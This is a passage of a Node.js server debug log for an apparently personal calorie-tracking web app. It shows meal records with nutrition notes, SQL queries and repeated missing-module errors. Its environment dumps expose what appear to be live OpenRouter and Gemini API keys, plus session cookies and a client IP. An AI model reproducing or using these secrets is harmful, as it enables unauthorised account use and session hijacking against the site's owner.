  }
}
2025-12-17T09:30:17.578Z server-connect:output item_list: [
  {
    id: 417,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Walnuts',
    calories: 98,
    protein_gm: 2,
    carbs_gm: 2,
    fat_gm: 10,
    quantity: '2 full walnuts (approx 15g edible portion)',
    replacements: 'Almonds (slightly fewer calories per serving, different fatty acid profile),Pistachios (lower calorie and fat than walnuts),Chia seeds (different fat profile, less dense calories)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of healthy fats (omega-3s), antioxidants, and some protein. Highly beneficial for overall health, brain function, and muscle recovery, directly supporting muscle development goals.'
  },
  {
    id: 418,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Pre-workout supplement',
    calories: 5,
    protein_gm: 1,
    carbs_gm: 1,
    fat_gm: 0,
    quantity: '1 scoop (6.5g)',
    replacements: 'Black coffee (for caffeine without fillers),Green tea (natural energy and antioxidants),Standalone creatine or beta-alanine (if specific ingredients are targeted)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 2,
    skip_reason: "Primarily a performance enhancer, not a significant nutritional source of macros. It can be beneficial for intense early morning workouts to improve focus and energy, but it's not essential and can be skipped if you are sensitive to stimulants or don't require the extra boost."
  },
  {
    id: 419,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 99,
    protein_gm: 20,
    carbs_gm: 2,
    fat_gm: 1,
    quantity: '1 scoop (26g)',
    replacements: 'Casein protein (slower digestion, good for sustained release),Plant-based protein powders (e.g., pea, rice, soy protein),Whole food protein sources like egg whites, Greek yogurt, or lean chicken breast (though these are not powder alternatives)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 1,
    skip_reason: 'Excellent, fast-digesting protein source crucial for muscle repair, growth, and recovery, especially after early morning gym sessions. It directly supports your muscle development goal by providing essential amino acids efficiently.'
  },
  {
    id: 420,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Banana',
    calories: 89,
    protein_gm: 1,
    carbs_gm: 23,
    fat_gm: 0,
    quantity: '1 (approx 100g edible portion, medium size)',
    replacements: 'Berries (e.g., strawberries, blueberries) - lower sugar, higher fiber,Apple - slightly lower calories, good fiber,Cucumber slices - very low calorie, hydrating (different type of snack, but significantly lower calorie)',
    created_at: '2025-12-16T23:02:32.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of easily digestible carbohydrates for quick energy, especially beneficial for pre or post-workout fuel due to your 5x gym routine. Provides essential potassium for muscle function and recovery. Fits well with muscle development goals.'
  },
  {
    id: 421,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Appe (Paniyaram) homemade',
    calories: 100,
    protein_gm: 4,
    carbs_gm: 20,
    fat_gm: 2,
    quantity: '2 pieces (approx 70-80g)',
    replacements: "Make with minimal oil using a non-stick pan,Incorporate more non-starchy vegetables (e.g., grated carrots, spinach, bottle gourd) into the batter to increase fiber and nutrients,Use a higher proportion of lentils or add oats/ragi flour to the batter to boost protein and fiber content,Serve with a high-protein side like a lentil-based sambar (without coconut) or a small portion of paneer bhurji (cottage cheese scramble) to enhance the meal's protein profile",
    created_at: '2025-12-16T23:21:49.000Z',
    skip_level: 1,
    skip_reason: 'Homemade Appe, made from fermented rice and lentils, is a good source of complex carbohydrates, which are essential for sustained energy during your 5x weekly gym sessions and for replenishing glycogen stores post-workout, aiding muscle recovery and development. It also provides some plant-based protein and is generally easy to digest due to fermentation. Being homemade allows for control over the amount and type of oil used, making it a wholesome and suitable option for your fitness goals.'
  },
  {
    id: 422,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Milk Coffee',
    calories: 75,
    protein_gm: 5,
    carbs_gm: 7,
    fat_gm: 4,
    quantity: '1 small cup (approx 150ml)',
    replacements: 'Black coffee,Coffee with skim milk,Coffee with almond milk (unsweetened)',
    created_at: '2025-12-17T00:57:09.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 423,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Roti',
    calories: 300,
    protein_gm: 9,
    carbs_gm: 63,
    fat_gm: 3,
    quantity: '3',
    replacements: 'Jowar roti,Bajra roti,Multigrain roti',
    created_at: '2025-12-17T02:45:17.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 424,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Aloo Patta Gobi Sabzi',
    calories: 150,
    protein_gm: 4,
    carbs_gm: 18,
    fat_gm: 8,
    quantity: '1 serving (approx 150g)',
    replacements: 'Cabbage and peas sabzi (without potato),Steamed cabbage and carrot salad',
    created_at: '2025-12-17T02:45:17.000Z',
    skip_level: 2,
    skip_reason: 'Potatoes add extra carbs and calories. While not bad, for muscle development, focusing on higher protein and lower carb vegetables might be more beneficial.'
  },
  {
    id: 425,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Boondi Raita',
    calories: 120,
    protein_gm: 6,
    carbs_gm: 10,
    fat_gm: 6,
    quantity: '1 katori (approx 150g)',
    replacements: 'Plain curd/yogurt,Cucumber raita,Mint raita',
    created_at: '2025-12-17T02:45:17.000Z',
    skip_level: 2,
    skip_reason: 'Boondi is typically deep-fried, adding extra fat and calories. While a good source of probiotics from curd, the boondi can be skipped for a leaner option.'
  },
  {
    id: 426,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Water',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1.5 litres',
    replacements: '',
    created_at: '2025-12-17T02:46:18.000Z',
    skip_level: 1,
    skip_reason: "Water is essential for hydration and has no calories. It's crucial for muscle development and overall health."
  }
]
2025-12-17T09:30:17.578Z server-connect:app Executing action step setvalue
2025-12-17T09:30:17.578Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-17T09:30:17.578Z server-connect:output var_total: 1036
2025-12-17T09:30:17.578Z server-connect:app Executing action step setvalue
2025-12-17T09:30:17.578Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-17T09:30:17.578Z server-connect:output var_consumed: 43
2025-12-17T09:30:17.578Z server-connect:app Executing action step setvalue
2025-12-17T09:30:17.578Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-17T09:30:17.578Z server-connect:output var_deficit: 1364
2025-12-17T09:30:17.578Z server-connect:app Executing action step custom
2025-12-17T09:30:17.578Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-17T09:30:17.580Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '1036',
    surplus_or_deficit: '1364',
    status_flag: 2
  }
]
2025-12-17T09:30:18.180Z server-connect:app Executing action step identify
2025-12-17T09:30:18.180Z server-connect:app options: { provider: 'security' }
2025-12-17T09:30:18.180Z server-connect:output identity: 1
2025-12-17T09:31:23.956Z server-connect:app Executing action step identify
2025-12-17T09:31:23.956Z server-connect:app options: { provider: 'security' }
2025-12-17T09:31:23.956Z server-connect:output identity: 1
2025-12-17T09:32:19.667Z server-connect:app Executing action step identify
2025-12-17T09:32:19.667Z server-connect:app options: { provider: 'security' }
2025-12-17T09:32:19.667Z server-connect:output identity: 1
2025-12-17T09:32:21.766Z server-connect:app Executing action step identify
2025-12-17T09:32:21.766Z server-connect:app options: { provider: 'security' }
2025-12-17T09:32:21.766Z server-connect:output identity: 1
2025-12-17T09:39:19.225Z server-connect:app Executing action step identify
2025-12-17T09:39:19.226Z server-connect:app options: { provider: 'security' }
2025-12-17T09:39:19.226Z server-connect:output identity: 1
2025-12-17T09:39:22.207Z server-connect:app Executing action step identify
2025-12-17T09:39:22.207Z server-connect:app options: { provider: 'security' }
2025-12-17T09:39:22.207Z server-connect:output identity: 1
2025-12-17T09:44:38.248Z server-connect:app Executing action step identify
2025-12-17T09:44:38.248Z server-connect:app options: { provider: 'security' }
2025-12-17T09:44:38.248Z server-connect:output identity: 1
2025-12-17T09:44:41.180Z server-connect:app Executing action step identify
2025-12-17T09:44:41.180Z server-connect:app options: { provider: 'security' }
2025-12-17T09:44:41.181Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-17 09:46:54' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-17 09:46:54' as DATETIME)"
}
2025-12-17T09:56:57.238Z server-connect:app Executing action step identify
2025-12-17T09:56:57.238Z server-connect:app options: { provider: 'security' }
2025-12-17T09:56:57.238Z server-connect:output identity: 1
2025-12-17T09:57:01.016Z server-connect:app Executing action step identify
2025-12-17T09:57:01.016Z server-connect:app options: { provider: 'security' }
2025-12-17T09:57:01.016Z server-connect:output identity: 1
2025-12-17T10:05:36.241Z server-connect:app Executing action step identify
2025-12-17T10:05:36.242Z server-connect:app options: { provider: 'security' }
2025-12-17T10:05:36.242Z server-connect:output identity: 1
2025-12-17T10:05:38.879Z server-connect:app Executing action step identify
2025-12-17T10:05:38.879Z server-connect:app options: { provider: 'security' }
2025-12-17T10:05:38.879Z server-connect:output identity: 1
2025-12-17T10:07:39.907Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-17T10:07:39.908Z server-connect:app Executing action step identify
2025-12-17T10:07:39.908Z server-connect:app options: { provider: 'security' }
2025-12-17T10:07:39.908Z server-connect:output identity: 1
2025-12-17T10:07:39.908Z server-connect:app Executing action step restrict
2025-12-17T10:07:39.908Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T10:07:39.911Z server-connect:output restrict: undefined
2025-12-17T10:07:40.456Z server-connect:output Error at calculate_calorie: Error: Cannot find module 'openai'
Require stack:
- /home/tocyxovu/ems/extensions/server_connect/modules/gemini-ai.js
- /home/tocyxovu/ems/lib/core/app.js
- /home/tocyxovu/ems/lib/core/middleware.js
- /home/tocyxovu/ems/lib/setup/routes.js
- /home/tocyxovu/ems/lib/server.js
- /home/tocyxovu/ems/index.js
- /usr/local/lsws/fcgi-bin/lsnode.js
    at Module._resolveFilename (node:internal/modules/cjs/loader:1365:15)
    at defaultResolveImpl (node:internal/modules/cjs/loader:1021:19)
    at resolveForCJSWithHooks (node:internal/modules/cjs/loader:1026:22)
    at Module._load (node:internal/modules/cjs/loader:1175:37)
    at TracingChannel.traceSync (node:diagnostics_channel:322:14)
    at wrapModuleLoad (node:internal/modules/cjs/loader:235:24)
    at Module.require (node:internal/modules/cjs/loader:1445:12)
    at require (node:internal/modules/helpers:135:16)
    at Object.<anonymous> (/home/tocyxovu/ems/extensions/server_connect/modules/gemini-ai.js:3:16)
    at Module._compile (node:internal/modules/cjs/loader:1688:14)
    at Module._extensions..js (node:internal/modules/cjs/loader:1820:10)
    at Module.load (node:internal/modules/cjs/loader:1423:32)
    at Module._load (node:internal/modules/cjs/loader:1246:12)
    at TracingChannel.traceSync (node:diagnostics_channel:322:14)
    at wrapModuleLoad (node:internal/modules/cjs/loader:235:24)
    at Module.require (node:internal/modules/cjs/loader:1445:12) {
  code: 'MODULE_NOT_FOUND',
  requireStack: [
    '/home/tocyxovu/ems/extensions/server_connect/modules/gemini-ai.js',
    '/home/tocyxovu/ems/lib/core/app.js',
    '/home/tocyxovu/ems/lib/core/middleware.js',
    '/home/tocyxovu/ems/lib/setup/routes.js',
    '/home/tocyxovu/ems/lib/server.js',
    '/home/tocyxovu/ems/index.js',
    '/usr/local/lsws/fcgi-bin/lsnode.js'
  ]
}
2025-12-17T10:07:40.456Z server-connect:server Got error? Error: Cannot find module 'openai'
Require stack:
- /home/tocyxovu/ems/extensions/server_connect/modules/gemini-ai.js
- /home/tocyxovu/ems/lib/core/app.js
- /home/tocyxovu/ems/lib/core/middleware.js
- /home/tocyxovu/ems/lib/setup/routes.js
- /home/tocyxovu/ems/lib/server.js
- /home/tocyxovu/ems/index.js
- /usr/local/lsws/fcgi-bin/lsnode.js
    at Module._resolveFilename (node:internal/modules/cjs/loader:1365:15)
    at defaultResolveImpl (node:internal/modules/cjs/loader:1021:19)
    at resolveForCJSWithHooks (node:internal/modules/cjs/loader:1026:22)
    at Module._load (node:internal/modules/cjs/loader:1175:37)
    at TracingChannel.traceSync (node:diagnostics_channel:322:14)
    at wrapModuleLoad (node:internal/modules/cjs/loader:235:24)
    at Module.require (node:internal/modules/cjs/loader:1445:12)
    at require (node:internal/modules/helpers:135:16)
    at Object.<anonymous> (/home/tocyxovu/ems/extensions/server_connect/modules/gemini-ai.js:3:16)
    at Module._compile (node:internal/modules/cjs/loader:1688:14)
    at Module._extensions..js (node:internal/modules/cjs/loader:1820:10)
    at Module.load (node:internal/modules/cjs/loader:1423:32)
    at Module._load (node:internal/modules/cjs/loader:1246:12)
    at TracingChannel.traceSync (node:diagnostics_channel:322:14)
    at wrapModuleLoad (node:internal/modules/cjs/loader:235:24)
    at Module.require (node:internal/modules/cjs/loader:1445:12) {
  code: 'MODULE_NOT_FOUND',
  requireStack: [
    '/home/tocyxovu/ems/extensions/server_connect/modules/gemini-ai.js',
    '/home/tocyxovu/ems/lib/core/app.js',
    '/home/tocyxovu/ems/lib/core/middleware.js',
    '/home/tocyxovu/ems/lib/setup/routes.js',
    '/home/tocyxovu/ems/lib/server.js',
    '/home/tocyxovu/ems/index.js',
    '/usr/local/lsws/fcgi-bin/lsnode.js'
  ]
}
2025-12-17T10:08:04.836Z server-connect:router Serving templateView /calorie-tracker
2025-12-17T10:08:04.837Z server-connect:app Executing action step identify
2025-12-17T10:08:04.837Z server-connect:app options: { provider: 'security' }
2025-12-17T10:08:04.837Z server-connect:output identity: 1
2025-12-17T10:08:04.837Z server-connect:app Executing action step restrict
2025-12-17T10:08:04.837Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-17T10:08:04.838Z server-connect:output restrict: undefined
2025-12-17T10:08:04.838Z server-connect:router Render template layouts/main
2025-12-17T10:08:04.838Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"macOS"',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    accept: '*/*',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AOv8cR8qB62qMYhAKnANKZw%3D%3D.zTzLnOEkXLMz3FoOfQjT8x6Desr8jTjKYbSZJd8QWwv6pFD6hfC95PE%2FQlFGJjoYGuYduEs4gTl9VpZ6xo82VTorQB%2B%2BuFW1UvBsFOsvFeh5EZXHRo6TcUBo1fmpyqF9fR%2B%2FdIgPMkzEbNj4BhTPqAvG0HhiUVYZSaR%2F3d8bYKI%3D.z%2FeEnUfUDQJ4J32XUa0Zy4obm8cP%2FbdMqRpGvXVpfPQ; your_r_git.sid=s%3ANf_HPoLuAXYg1ZXutDDFug0MGIcmkRt9.xVgOpNkV%2Fo4VGL%2FwqI75QMmvjbG62%2Bf6ZJ9fzcgUHEE',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T13:50:56.189Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: '*/*',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AOv8cR8qB62qMYhAKnANKZw%3D%3D.zTzLnOEkXLMz3FoOfQjT8x6Desr8jTjKYbSZJd8QWwv6pFD6hfC95PE%2FQlFGJjoYGuYduEs4gTl9VpZ6xo82VTorQB%2B%2BuFW1UvBsFOsvFeh5EZXHRo6TcUBo1fmpyqF9fR%2B%2FdIgPMkzEbNj4BhTPqAvG0HhiUVYZSaR%2F3d8bYKI%3D.z%2FeEnUfUDQJ4J32XUa0Zy4obm8cP%2FbdMqRpGvXVpfPQ; your_r_git.sid=s%3ANf_HPoLuAXYg1ZXutDDFug0MGIcmkRt9.xVgOpNkV%2Fo4VGL%2FwqI75QMmvjbG62%2Bf6ZJ9fzcgUHEE',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-17T10:08:10.225Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-17T10:08:10.226Z server-connect:app Executing action step identify
2025-12-17T10:08:10.226Z server-connect:app options: { provider: 'security' }
2025-12-17T10:08:10.226Z server-connect:output identity: 1
2025-12-17T10:08:10.226Z server-connect:app Executing action step restrict
2025-12-17T10:08:10.226Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T10:08:10.227Z server-connect:output restrict: undefined
2025-12-17T10:08:10.228Z server-connect:output Error at calculate_calorie: Error: Cannot find module 'openai'
Require stack:
- /home/tocyxovu/ems/extensions/server_connect/modules/gemini-ai.js
- /home/tocyxovu/ems/lib/core/app.js
- /home/tocyxovu/ems/lib/core/middleware.js
- /home/tocyxovu/ems/lib/setup/routes.js
- /home/tocyxovu/ems/lib/server.js
- /home/tocyxovu/ems/index.js
- /usr/local/lsws/fcgi-bin/lsnode.js
    at Module._resolveFilename (node:internal/modules/cjs/loader:1365:15)
    at defaultResolveImpl (node:internal/modules/cjs/loader:1021:19)
    at resolveForCJSWithHooks (node:internal/modules/cjs/loader:1026:22)
    at Module._load (node:internal/modules/cjs/loader:1175:37)
    at TracingChannel.traceSync (node:diagnostics_channel:322:14)
    at wrapModuleLoad (node:internal/modules/cjs/loader:235:24)
    at Module.require (node:internal/modules/cjs/loader:1445:12)
    at require (node:internal/modules/helpers:135:16)
    at Object.<anonymous> (/home/tocyxovu/ems/extensions/server_connect/modules/gemini-ai.js:3:16)
    at Module._compile (node:internal/modules/cjs/loader:1688:14)
    at Module._extensions..js (node:internal/modules/cjs/loader:1820:10)
    at Module.load (node:internal/modules/cjs/loader:1423:32)
    at Module._load (node:internal/modules/cjs/loader:1246:12)
    at TracingChannel.traceSync (node:diagnostics_channel:322:14)
    at wrapModuleLoad (node:internal/modules/cjs/loader:235:24)
    at Module.require (node:internal/modules/cjs/loader:1445:12) {
  code: 'MODULE_NOT_FOUND',
  requireStack: [
    '/home/tocyxovu/ems/extensions/server_connect/modules/gemini-ai.js',
    '/home/tocyxovu/ems/lib/core/app.js',
    '/home/tocyxovu/ems/lib/core/middleware.js',
    '/home/tocyxovu/ems/lib/setup/routes.js',
    '/home/tocyxovu/ems/lib/server.js',
    '/home/tocyxovu/ems/index.js',
    '/usr/local/lsws/fcgi-bin/lsnode.js'
  ]
}
2025-12-17T10:08:10.228Z server-connect:server Got error? Error: Cannot find module 'openai'
Require stack:
- /home/tocyxovu/ems/extensions/server_connect/modules/gemini-ai.js
- /home/tocyxovu/ems/lib/core/app.js
- /home/tocyxovu/ems/lib/core/middleware.js
- /home/tocyxovu/ems/lib/setup/routes.js
- /home/tocyxovu/ems/lib/server.js
- /home/tocyxovu/ems/index.js
- /usr/local/lsws/fcgi-bin/lsnode.js
    at Module._resolveFilename (node:internal/modules/cjs/loader:1365:15)
    at defaultResolveImpl (node:internal/modules/cjs/loader:1021:19)
    at resolveForCJSWithHooks (node:internal/modules/cjs/loader:1026:22)
    at Module._load (node:internal/modules/cjs/loader:1175:37)
    at TracingChannel.traceSync (node:diagnostics_channel:322:14)
    at wrapModuleLoad (node:internal/modules/cjs/loader:235:24)
    at Module.require (node:internal/modules/cjs/loader:1445:12)
    at require (node:internal/modules/helpers:135:16)
    at Object.<anonymous> (/home/tocyxovu/ems/extensions/server_connect/modules/gemini-ai.js:3:16)
    at Module._compile (node:internal/modules/cjs/loader:1688:14)
    at Module._extensions..js (node:internal/modules/cjs/loader:1820:10)
    at Module.load (node:internal/modules/cjs/loader:1423:32)
    at Module._load (node:internal/modules/cjs/loader:1246:12)
    at TracingChannel.traceSync (node:diagnostics_channel:322:14)
    at wrapModuleLoad (node:internal/modules/cjs/loader:235:24)
    at Module.require (node:internal/modules/cjs/loader:1445:12) {
  code: 'MODULE_NOT_FOUND',
  requireStack: [
    '/home/tocyxovu/ems/extensions/server_connect/modules/gemini-ai.js',
    '/home/tocyxovu/ems/lib/core/app.js',
    '/home/tocyxovu/ems/lib/core/middleware.js',
    '/home/tocyxovu/ems/lib/setup/routes.js',
    '/home/tocyxovu/ems/lib/server.js',
    '/home/tocyxovu/ems/index.js',
    '/usr/local/lsws/fcgi-bin/lsnode.js'
  ]
}
2025-12-17T10:09:22.801Z server-connect:router Serving templateView /
2025-12-17T10:09:22.802Z server-connect:app Executing action step identify
2025-12-17T10:09:22.802Z server-connect:app options: { provider: 'security' }
2025-12-17T10:09:22.802Z server-connect:auth No login cookie found
2025-12-17T10:09:22.802Z server-connect:output identity: false
2025-12-17T10:09:22.803Z server-connect:app Executing action step restrict
2025-12-17T10:09:22.803Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-17T10:09:22.804Z server-connect:output restrict: undefined
2025-12-17T10:09:22.806Z server-connect:router Serving templateView /login
2025-12-17T10:09:22.807Z server-connect:app Executing action step identify
2025-12-17T10:09:22.807Z server-connect:app options: { provider: 'security' }
2025-12-17T10:09:22.807Z server-connect:auth No login cookie found
2025-12-17T10:09:22.807Z server-connect:output identity: false
2025-12-17T10:09:22.807Z server-connect:router Render template layouts/authentication
2025-12-17T10:09:22.807Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
